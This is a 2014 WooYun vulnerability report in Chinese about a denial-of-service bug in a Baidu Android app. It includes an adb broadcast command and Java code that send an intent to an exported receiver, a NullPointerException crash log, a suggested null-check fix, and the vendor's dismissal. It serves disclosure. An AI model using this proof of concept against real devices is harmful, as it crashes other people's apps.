当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053878

漏洞标题:百度某手机应用拒绝服务漏洞

相关厂商:百度

漏洞作者: hqdvista

提交时间:2014-03-19 11:01

修复时间:2014-06-14 11:02

公开时间:2014-06-14 11:02

漏洞类型:拒绝服务

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-19: 细节已通知厂商并且等待厂商处理中
2014-03-19: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-13: 细节向核心白帽子及相关领域专家公开
2014-05-23: 细节向普通白帽子公开
2014-06-02: 细节向实习白帽子公开
2014-06-14: 细节向公众公开

简要描述:

百度某手机应用拒绝服务漏洞

详细说明:

1、漏洞发现方式
发送com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver广播
am broadcast -n com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver
java代码:
Intent in = newIntent();
in.setComponent(newComponentName(“com.baidu.appsearch”, “com.baidu.pcsuite.swiftp.RequestStartStopReceiver”);
sendBroadcast(in);
2、漏洞证明
I/ActivityManager( 442): Start proc com.baidu.appsearch:deamon for broadcast com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver: pid=6865 uid=10086 gids={50086, 3003, 1015, 1006, 3002, 3001, 1028}
E/AndroidRuntime( 7191): java.lang.RuntimeException: Unable to start receiver com.baidu.pcsuite.swiftp.RequestStartStopReceiver: java.lang.NullPointerException
E/AndroidRuntime( 7191): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2383)
E/AndroidRuntime( 7191): at android.app.ActivityThread.access$1500(ActivityThread.java:141)
E/AndroidRuntime( 7191): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1310)
E/AndroidRuntime( 7191): at android.os.Handler.dispatchMessage(Handler.java:99)
E/AndroidRuntime( 7191): at android.os.Looper.loop(Looper.java:137)
E/AndroidRuntime( 7191): at android.app.ActivityThread.main(ActivityThread.java:5041)
E/AndroidRuntime( 7191): at java.lang.reflect.Method.invokeNative(Native Method)
E/AndroidRuntime( 7191): at java.lang.reflect.Method.invoke(Method.java:511)
E/AndroidRuntime( 7191): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)
E/AndroidRuntime( 7191): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)
E/AndroidRuntime( 7191): at dalvik.system.NativeStart.main(Native Method)
E/AndroidRuntime( 7191): Caused by: java.lang.NullPointerException
E/AndroidRuntime( 7191): at com.baidu.pcsuite.swiftp.RequestStartStopReceiver.onReceive(Unknown Source)
E/AndroidRuntime( 7191): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2376)
E/AndroidRuntime( 7191): ... 10 more

Screenshot 2014-03-16 21.28.05.png


漏洞证明:

Screenshot 2014-03-16 21.28.05.png

修复方案:

增加NPE检查

版权声明:转载请注明来源 hqdvista@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-14 11:02

厂商回复:

我们认为该漏洞存在,但无安全危害。属于功能性bug。
感谢对百度安全的支持。

最新状态:

暂无